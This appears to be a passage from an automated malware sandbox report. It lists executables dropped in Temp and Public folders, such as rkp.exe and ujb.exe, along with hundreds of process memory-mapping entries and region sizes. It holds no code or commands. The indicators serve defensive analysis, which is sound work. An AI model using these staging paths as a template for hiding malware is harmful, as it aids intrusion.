                      • \Users\Admin\AppData\Local\Temp\axcsdfa.exe
                      • \Users\Admin\AppData\Local\Temp\bb4pztgeIW.exe
                      • \Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                      • \Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                      • \Users\Public\rkp.exe
                      • \Users\Public\rkp.exe
                      • \Users\Public\ujb.exe
                      • \Users\Public\ujb.exe
                      • \Users\Public\uyi.exe
                      • memory/268-8-0x0000000000000000-mapping.dmp
                      • memory/368-647-0x0000000000000000-mapping.dmp
                      • memory/524-277-0x0000000000000000-mapping.dmp
                      • memory/560-11-0x0000000000000000-mapping.dmp
                      • memory/576-15-0x0000000000000000-mapping.dmp
                      • memory/624-646-0x0000000000000000-mapping.dmp
                      • memory/660-652-0x0000000000000000-mapping.dmp
                      • memory/672-10-0x0000000000000000-mapping.dmp
                      • memory/936-29-0x00000000702C0000-0x00000000709AE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/936-19-0x0000000000000000-mapping.dmp
                      • memory/936-224-0x00000000065D0000-0x00000000065D1000-memory.dmp
                        Filesize

                        4KB

                      • memory/936-225-0x00000000065E0000-0x00000000065E1000-memory.dmp
                        Filesize

                        4KB

                      • memory/952-24-0x0000000000000000-mapping.dmp
                      • memory/1012-30-0x00000000702C0000-0x00000000709AE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1012-26-0x0000000000000000-mapping.dmp
                      • memory/1012-41-0x0000000004A20000-0x0000000004A21000-memory.dmp
                        Filesize

                        4KB

                      • memory/1028-322-0x0000000000400000-0x0000000000420000-memory.dmp
                        Filesize

                        128KB

                      • memory/1028-320-0x000000000041A684-mapping.dmp
                      • memory/1028-319-0x0000000000400000-0x0000000000420000-memory.dmp
                        Filesize

                        128KB

                      • memory/1048-303-0x0000000000000000-mapping.dmp
                      • memory/1060-33-0x00000000702C0000-0x00000000709AE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1060-18-0x0000000000000000-mapping.dmp
                      • memory/1180-155-0x0000000006590000-0x0000000006591000-memory.dmp
                        Filesize

                        4KB

                      • memory/1180-203-0x00000000066F0000-0x00000000066F1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1180-17-0x0000000000000000-mapping.dmp
                      • memory/1180-31-0x00000000702C0000-0x00000000709AE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1180-147-0x00000000063D0000-0x00000000063D1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1180-196-0x00000000066E0000-0x00000000066E1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1248-22-0x0000000000000000-mapping.dmp
                      • memory/1260-546-0x0000000000000000-mapping.dmp
                      • memory/1260-550-0x0000000000000000-mapping.dmp
                      • memory/1260-635-0x0000000000000000-mapping.dmp
                      • memory/1260-634-0x0000000003C80000-0x0000000003C81000-memory.dmp
                        Filesize

                        4KB

                      • memory/1260-632-0x0000000000000000-mapping.dmp
                      • memory/1260-630-0x0000000000000000-mapping.dmp
                      • memory/1260-628-0x0000000000000000-mapping.dmp
                      • memory/1260-626-0x0000000000000000-mapping.dmp
                      • memory/1260-624-0x0000000000000000-mapping.dmp
                      • memory/1260-622-0x0000000000000000-mapping.dmp
                      • memory/1260-620-0x0000000000000000-mapping.dmp
                      • memory/1260-618-0x0000000000000000-mapping.dmp
                      • memory/1260-616-0x0000000000000000-mapping.dmp
                      • memory/1260-614-0x0000000000000000-mapping.dmp
                      • memory/1260-612-0x0000000000000000-mapping.dmp
                      • memory/1260-610-0x0000000000000000-mapping.dmp
                      • memory/1260-608-0x0000000000000000-mapping.dmp
                      • memory/1260-606-0x0000000000000000-mapping.dmp
                      • memory/1260-604-0x0000000000000000-mapping.dmp
                      • memory/1260-602-0x0000000000000000-mapping.dmp
                      • memory/1260-600-0x0000000000000000-mapping.dmp
                      • memory/1260-598-0x0000000000000000-mapping.dmp
                      • memory/1260-596-0x0000000000000000-mapping.dmp
                      • memory/1260-594-0x0000000000000000-mapping.dmp
                      • memory/1260-592-0x0000000000000000-mapping.dmp
                      • memory/1260-590-0x0000000000000000-mapping.dmp
                      • memory/1260-588-0x0000000000000000-mapping.dmp
                      • memory/1260-586-0x0000000000000000-mapping.dmp
                      • memory/1260-584-0x0000000000000000-mapping.dmp
                      • memory/1260-582-0x0000000000000000-mapping.dmp
                      • memory/1260-428-0x0000000000000000-mapping.dmp
                      • memory/1260-276-0x0000000000000000-mapping.dmp
                      • memory/1260-578-0x0000000000000000-mapping.dmp
                      • memory/1260-576-0x0000000000000000-mapping.dmp
                      • memory/1260-574-0x0000000000000000-mapping.dmp
                      • memory/1260-572-0x0000000000000000-mapping.dmp
                      • memory/1260-570-0x0000000000000000-mapping.dmp
                      • memory/1260-568-0x0000000000000000-mapping.dmp
                      • memory/1260-566-0x0000000000000000-mapping.dmp
                      • memory/1260-564-0x0000000000000000-mapping.dmp
                      • memory/1260-562-0x0000000000000000-mapping.dmp
                      • memory/1260-560-0x0000000000000000-mapping.dmp
                      • memory/1260-558-0x0000000000000000-mapping.dmp
                      • memory/1260-556-0x0000000000000000-mapping.dmp
                      • memory/1260-554-0x0000000000000000-mapping.dmp
                      • memory/1260-552-0x0000000000000000-mapping.dmp
                      • memory/1260-548-0x0000000000000000-mapping.dmp
                      • memory/1260-544-0x0000000000000000-mapping.dmp
                      • memory/1260-542-0x0000000000000000-mapping.dmp
                      • memory/1260-540-0x0000000000000000-mapping.dmp
                      • memory/1260-538-0x0000000000000000-mapping.dmp
                      • memory/1260-536-0x0000000000000000-mapping.dmp
                      • memory/1260-534-0x0000000000000000-mapping.dmp
                      • memory/1260-532-0x0000000000000000-mapping.dmp
                      • memory/1260-530-0x0000000000000000-mapping.dmp
                      • memory/1260-528-0x0000000000000000-mapping.dmp
                      • memory/1260-432-0x0000000000000000-mapping.dmp
                      • memory/1260-526-0x0000000000000000-mapping.dmp
                      • memory/1260-524-0x0000000000000000-mapping.dmp
                      • memory/1260-522-0x0000000000000000-mapping.dmp
                      • memory/1260-520-0x0000000000000000-mapping.dmp
                      • memory/1260-518-0x0000000000000000-mapping.dmp
                      • memory/1260-516-0x0000000000000000-mapping.dmp
                      • memory/1260-514-0x0000000000000000-mapping.dmp
                      • memory/1260-512-0x0000000000000000-mapping.dmp
                      • memory/1260-510-0x0000000000000000-mapping.dmp
                      • memory/1260-508-0x0000000000000000-mapping.dmp
                      • memory/1260-506-0x0000000000000000-mapping.dmp
                      • memory/1260-504-0x0000000000000000-mapping.dmp
                      • memory/1260-502-0x0000000000000000-mapping.dmp
                      • memory/1260-500-0x0000000000000000-mapping.dmp
                      • memory/1260-498-0x0000000000000000-mapping.dmp
                      • memory/1260-496-0x0000000000000000-mapping.dmp
                      • memory/1260-494-0x0000000000000000-mapping.dmp
                      • memory/1260-492-0x0000000000000000-mapping.dmp
                      • memory/1260-490-0x0000000000000000-mapping.dmp
                      • memory/1260-488-0x0000000000000000-mapping.dmp
                      • memory/1260-486-0x0000000000000000-mapping.dmp
                      • memory/1260-484-0x0000000000000000-mapping.dmp
                      • memory/1260-482-0x0000000000000000-mapping.dmp
                      • memory/1260-480-0x0000000000000000-mapping.dmp
                      • memory/1260-478-0x0000000000000000-mapping.dmp
                      • memory/1260-476-0x0000000000000000-mapping.dmp
                      • memory/1260-474-0x0000000000000000-mapping.dmp
                      • memory/1260-472-0x0000000000000000-mapping.dmp
                      • memory/1260-470-0x0000000000000000-mapping.dmp
                      • memory/1260-468-0x0000000000000000-mapping.dmp
                      • memory/1260-466-0x0000000000000000-mapping.dmp
                      • memory/1260-464-0x0000000000000000-mapping.dmp
                      • memory/1260-462-0x0000000000000000-mapping.dmp
                      • memory/1260-460-0x0000000000000000-mapping.dmp
                      • memory/1260-458-0x0000000000000000-mapping.dmp
                      • memory/1260-456-0x0000000000000000-mapping.dmp
                      • memory/1260-454-0x0000000000000000-mapping.dmp
                      • memory/1260-452-0x0000000000000000-mapping.dmp
                      • memory/1260-450-0x0000000000000000-mapping.dmp
                      • memory/1260-448-0x0000000000000000-mapping.dmp
                      • memory/1260-446-0x0000000000000000-mapping.dmp
                      • memory/1260-430-0x0000000000000000-mapping.dmp
                      • memory/1260-393-0x00000000000A0000-0x00000000000A1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1260-394-0x0000000000000000-mapping.dmp
                      • memory/1260-395-0x0000000000120000-0x0000000000121000-memory.dmp
                        Filesize

                        4KB

                      • memory/1260-396-0x0000000000000000-mapping.dmp
                      • memory/1260-398-0x0000000000000000-mapping.dmp
                      • memory/1260-400-0x0000000000000000-mapping.dmp
                      • memory/1260-402-0x0000000000000000-mapping.dmp
                      • memory/1260-404-0x0000000000000000-mapping.dmp
                      • memory/1260-406-0x0000000000000000-mapping.dmp
                      • memory/1260-408-0x0000000000000000-mapping.dmp
                      • memory/1260-410-0x0000000000000000-mapping.dmp
                      • memory/1260-412-0x0000000000000000-mapping.dmp
                      • memory/1260-414-0x0000000000000000-mapping.dmp
                      • memory/1260-416-0x0000000000000000-mapping.dmp
                      • memory/1260-418-0x0000000000000000-mapping.dmp
                      • memory/1260-420-0x0000000000000000-mapping.dmp
                      • memory/1260-422-0x0000000000000000-mapping.dmp
                      • memory/1260-424-0x0000000000000000-mapping.dmp
                      • memory/1260-426-0x0000000000000000-mapping.dmp
                      • memory/1260-580-0x0000000000000000-mapping.dmp
                      • memory/1260-444-0x0000000000000000-mapping.dmp
                      • memory/1260-442-0x0000000000000000-mapping.dmp
                      • memory/1260-434-0x0000000000000000-mapping.dmp
                      • memory/1260-436-0x0000000000000000-mapping.dmp
                      • memory/1260-438-0x0000000000000000-mapping.dmp
                      • memory/1260-440-0x0000000000000000-mapping.dmp
                      • memory/1264-369-0x0000000000000000-mapping.dmp
                      • memory/1264-374-0x0000000004A20000-0x0000000004A21000-memory.dmp
                        Filesize

                        4KB

                      • memory/1264-375-0x0000000005520000-0x0000000005521000-memory.dmp
                        Filesize

                        4KB

                      • memory/1264-372-0x0000000002540000-0x0000000002541000-memory.dmp
                        Filesize

                        4KB

                      • memory/1264-371-0x0000000071130000-0x000000007181E000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1264-373-0x0000000004B20000-0x0000000004B21000-memory.dmp
                        Filesize

                        4KB

                      • memory/1316-239-0x0000000000400000-0x0000000000493000-memory.dmp
                        Filesize

                        588KB

                      • memory/1316-237-0x000000000043FCC3-mapping.dmp
                      • memory/1316-235-0x0000000000400000-0x0000000000493000-memory.dmp
                        Filesize

                        588KB

                      • memory/1344-13-0x0000000000000000-mapping.dmp
                      • memory/1456-66-0x00000000061C0000-0x00000000061C1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1456-74-0x0000000005730000-0x0000000005731000-memory.dmp
                        Filesize

                        4KB

                      • memory/1456-53-0x0000000002850000-0x0000000002851000-memory.dmp
                        Filesize

                        4KB

                      • memory/1456-61-0x00000000057D0000-0x00000000057D1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1456-32-0x00000000702C0000-0x00000000709AE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1456-79-0x0000000006460000-0x0000000006461000-memory.dmp
                        Filesize

                        4KB

                      • memory/1456-35-0x0000000000A40000-0x0000000000A41000-memory.dmp
                        Filesize

                        4KB

                      • memory/1456-47-0x00000000026D0000-0x00000000026D1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1456-20-0x0000000000000000-mapping.dmp
                      • memory/1456-67-0x0000000006260000-0x0000000006261000-memory.dmp
                        Filesize

                        4KB

                      • memory/1600-651-0x0000000000000000-mapping.dmp
                      • memory/1604-380-0x0000000000A30000-0x0000000000A53000-memory.dmp
                        Filesize

                        140KB

                      • memory/1604-327-0x0000000071130000-0x000000007181E000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1604-382-0x0000000000A60000-0x0000000000A84000-memory.dmp
                        Filesize

                        144KB

                      • memory/1604-328-0x0000000001390000-0x0000000001391000-memory.dmp
                        Filesize

                        4KB

                      • memory/1604-324-0x0000000000000000-mapping.dmp
                      • memory/1656-291-0x0000000002800000-0x0000000002804000-memory.dmp
                        Filesize

                        16KB

                      • memory/1656-279-0x0000000000000000-mapping.dmp
                      • memory/1668-34-0x00000000702C0000-0x00000000709AE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1668-25-0x0000000000000000-mapping.dmp
                      • memory/1668-128-0x00000000064A0000-0x00000000064A1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1780-16-0x0000000000000000-mapping.dmp
                      • memory/1824-233-0x0000000000000000-mapping.dmp
                      • memory/1824-244-0x0000000002750000-0x0000000002754000-memory.dmp
                        Filesize

                        16KB

                      • memory/1904-0-0x0000000000000000-mapping.dmp
                      • memory/1944-5-0x0000000000000000-mapping.dmp
                      • memory/1944-4-0x0000000000000000-mapping.dmp
                      • memory/1996-386-0x0000000002610000-0x0000000002611000-memory.dmp
                        Filesize

                        4KB

                      • memory/1996-385-0x0000000071130000-0x000000007181E000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/1996-387-0x0000000004BC0000-0x0000000004BC1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1996-388-0x0000000002710000-0x0000000002711000-memory.dmp
                        Filesize

                        4KB

                      • memory/1996-389-0x0000000004B10000-0x0000000004B11000-memory.dmp
                        Filesize

                        4KB

                      • memory/1996-381-0x0000000000000000-mapping.dmp
                      • memory/2088-641-0x0000000000000000-mapping.dmp
                      • memory/2088-640-0x0000000000110000-0x0000000000111000-memory.dmp
                        Filesize

                        4KB

                      • memory/2088-638-0x0000000000090000-0x0000000000091000-memory.dmp
                        Filesize

                        4KB

                      • memory/2088-650-0x0000000000000000-mapping.dmp
                      • memory/2088-639-0x0000000000000000-mapping.dmp
                      • memory/2088-649-0x00000000001D0000-0x00000000001D1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2088-643-0x0000000000000000-mapping.dmp
                      • memory/2264-645-0x0000000000000000-mapping.dmp
                      • memory/2344-331-0x0000000000000000-mapping.dmp
                      • memory/2344-648-0x0000000010530000-0x000000001054A000-memory.dmp
                        Filesize

                        104KB

                      • memory/2344-392-0x0000000002F80000-0x0000000002FCC000-memory.dmp
                        Filesize

                        304KB

                      • memory/2344-633-0x0000000050480000-0x000000005049A000-memory.dmp
                        Filesize

                        104KB

                      • memory/2380-101-0x0000000000000000-mapping.dmp
                      • memory/2404-304-0x0000000000000000-mapping.dmp
                      • memory/2424-126-0x000007FEF7B80000-0x000007FEF7DFA000-memory.dmp
                        Filesize

                        2.5MB

                      • memory/2432-340-0x0000000000000000-mapping.dmp
                      • memory/2452-107-0x0000000000000000-mapping.dmp
                      • memory/2496-112-0x0000000000000000-mapping.dmp
                      • memory/2528-124-0x0000000000400000-0x0000000000439000-memory.dmp
                        Filesize

                        228KB

                      • memory/2528-121-0x0000000000417A8B-mapping.dmp
                      • memory/2528-118-0x0000000000400000-0x0000000000439000-memory.dmp
                        Filesize

                        228KB

                      • memory/2544-348-0x0000000000000000-mapping.dmp
                      • memory/2548-122-0x000000000043FCC3-mapping.dmp
                      • memory/2548-127-0x0000000000400000-0x0000000000498000-memory.dmp
                        Filesize

                        608KB

                      • memory/2548-120-0x0000000000400000-0x0000000000498000-memory.dmp
                        Filesize

                        608KB

                      • memory/2580-361-0x0000000001F50000-0x0000000001F61000-memory.dmp
                        Filesize

                        68KB

                      • memory/2580-366-0x0000000000220000-0x0000000000231000-memory.dmp
                        Filesize

                        68KB

                      • memory/2580-350-0x0000000000210000-0x0000000000211000-memory.dmp
                        Filesize

                        4KB

                      • memory/2580-347-0x0000000000060000-0x0000000000061000-memory.dmp
                        Filesize

                        4KB

                      • memory/2580-339-0x0000000000000000-mapping.dmp
                      • memory/2580-367-0x0000000000470000-0x0000000000473000-memory.dmp
                        Filesize

                        12KB

                      • memory/2580-344-0x0000000071130000-0x000000007181E000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/2604-138-0x00000000702C0000-0x00000000709AE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/2604-234-0x0000000000B10000-0x0000000000B1D000-memory.dmp
                        Filesize

                        52KB

                      • memory/2604-140-0x0000000000E00000-0x0000000000E01000-memory.dmp
                        Filesize

                        4KB

                      • memory/2604-132-0x0000000000000000-mapping.dmp
                      • memory/2604-232-0x0000000004B00000-0x0000000004BB0000-memory.dmp
                        Filesize

                        704KB

                      • memory/2616-134-0x0000000000000000-mapping.dmp
                      • memory/2688-346-0x0000000000510000-0x0000000000511000-memory.dmp
                        Filesize

                        4KB

                      • memory/2688-359-0x0000000004BF0000-0x0000000004BF2000-memory.dmp
                        Filesize

                        8KB

                      • memory/2688-351-0x0000000000560000-0x0000000000572000-memory.dmp
                        Filesize

                        72KB

                      • memory/2688-352-0x0000000000720000-0x0000000000725000-memory.dmp
                        Filesize

                        20KB

                      • memory/2688-337-0x0000000071130000-0x000000007181E000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/2688-354-0x00000000004E0000-0x00000000004F0000-memory.dmp
                        Filesize

                        64KB

                      • memory/2688-334-0x0000000000000000-mapping.dmp
                      • memory/2688-342-0x0000000000CF0000-0x0000000000CF1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2720-246-0x00000000731E0000-0x00000000738CE000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/2720-278-0x0000000002050000-0x00000000020A1000-memory.dmp
                        Filesize

                        324KB

                      • memory/2720-247-0x00000000002A0000-0x00000000002A1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2720-249-0x0000000000270000-0x0000000000271000-memory.dmp
                        Filesize

                        4KB

                      • memory/2720-243-0x0000000000000000-mapping.dmp
                      • memory/2724-637-0x0000000000000000-mapping.dmp
                      • memory/2740-148-0x0000000000400000-0x0000000000425000-memory.dmp
                        Filesize

                        148KB

                      • memory/2740-151-0x0000000000400000-0x0000000000425000-memory.dmp
                        Filesize

                        148KB

                      • memory/2740-149-0x000000000041A684-mapping.dmp
                      • memory/2744-357-0x0000000000000000-mapping.dmp
                      • memory/2896-292-0x0000000073150000-0x000000007383E000-memory.dmp
                        Filesize

                        6.9MB

                      • memory/2896-293-0x0000000000CB0000-0x0000000000CB1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2896-295-0x0000000000200000-0x0000000000201000-memory.dmp
                        Filesize

                        4KB

                      • memory/2896-289-0x0000000000000000-mapping.dmp
                      • memory/2896-317-0x0000000004F30000-0x0000000004F32000-memory.dmp
                        Filesize

                        8KB

                      • memory/2896-169-0x0000000000000000-mapping.dmp
                      • memory/2896-312-0x00000000003C0000-0x00000000003E4000-memory.dmp
                        Filesize

                        144KB

                      • memory/2908-274-0x0000000000000000-mapping.dmp
                      • memory/2928-282-0x0000000000400000-0x0000000000434000-memory.dmp
                        Filesize

                        208KB

                      • memory/2928-283-0x0000000000417A8B-mapping.dmp
                      • memory/2928-285-0x0000000000400000-0x0000000000434000-memory.dmp
                        Filesize

                        208KB

                      • memory/2928-175-0x0000000000000000-mapping.dmp
                      • memory/2944-275-0x0000000000000000-mapping.dmp
                      • memory/2996-189-0x000000000043FCC3-mapping.dmp
                      • memory/3024-197-0x000000000041A684-mapping.dmp
                      • memory/3036-198-0x0000000000417A8B-mapping.dmp